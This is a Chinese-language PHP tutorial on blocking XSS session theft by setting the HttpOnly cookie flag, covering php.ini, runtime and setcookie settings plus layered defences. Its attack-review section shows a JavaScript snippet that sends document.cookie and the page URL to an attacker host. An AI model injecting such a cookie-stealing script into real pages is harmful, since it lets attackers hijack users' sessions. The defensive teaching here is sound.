首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 相關知識

XSS 防禦實戰:PHP 設定 HttpOnly Cookie 阻斷 JavaScript 竊取 Session

     編輯:PHP 相關知識

XSS 攻擊核心危害在於竊取 document.cookie 劫持用戶 Session。現代瀏覽器支援 Cookie HttpOnly 標誌,啟用後 JavaScript 無法讀取該 Cookie,大幅降低 Session 劫持風險。本文說明 PHP 多版本啟用方式。

攻擊原理回顧

// 惡意腳本竊取 Cookie 並發送至攻擊者伺服器
url = document.top.location.href;
cookie = document.cookie;
c = new Image();
c.src = 'https://www.attacker.com/steal.php?c=' + cookie + '&u=' + url;

PHP 版本別啟用方案

PHP 5.2+(含 PHP 7/8)推薦方式

// 方法一:php.ini 全域啟用(需重啟 PHP-FPM/Apache)
session.cookie_httponly = 1

// 方法二:運行期設定(在 session_start() 前呼叫)
ini_set("session.cookie_httponly", 1);

// 方法三:session_set_cookie_params() 第 5 參數
session_set_cookie_params(0, null, null, null, true);

PHP 5.1 及更早版本

// 手動發送 Set-Cookie 標頭
header("Set-Cookie: session_id=value; HttpOnly");

單一 Cookie 設定 HttpOnly

// setcookie() 第 7 參數(PHP 5.2+)
setcookie('token', $value, 0, '/', '', false, true);

驗證方式

  1. 瀏覽器開發者工具 → Application/Storage → Cookies
  2. 確認目標 Cookie 的 HttpOnly 欄位顯示 ✓ 或 true
  3. Console 執行 document.cookie 應不包含該 Cookie

防禦深度建議

  • HttpOnly ≠ 絕對安全:仍需輸出編碼(htmlspecialchars)、CSP 標頭、輸入驗證等多層防護
  • Secure 標誌:HTTPS 環境下同時啟用 Secure,確保 Cookie 僅在加密傳輸
  • SameSite 屬性:現代 PHP 可設定 SameSite=Strict/Lax 防禦 CSRF
  • Session 管理:定期輪換 Session ID、登入後重新生成、閒置超時銷毀
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved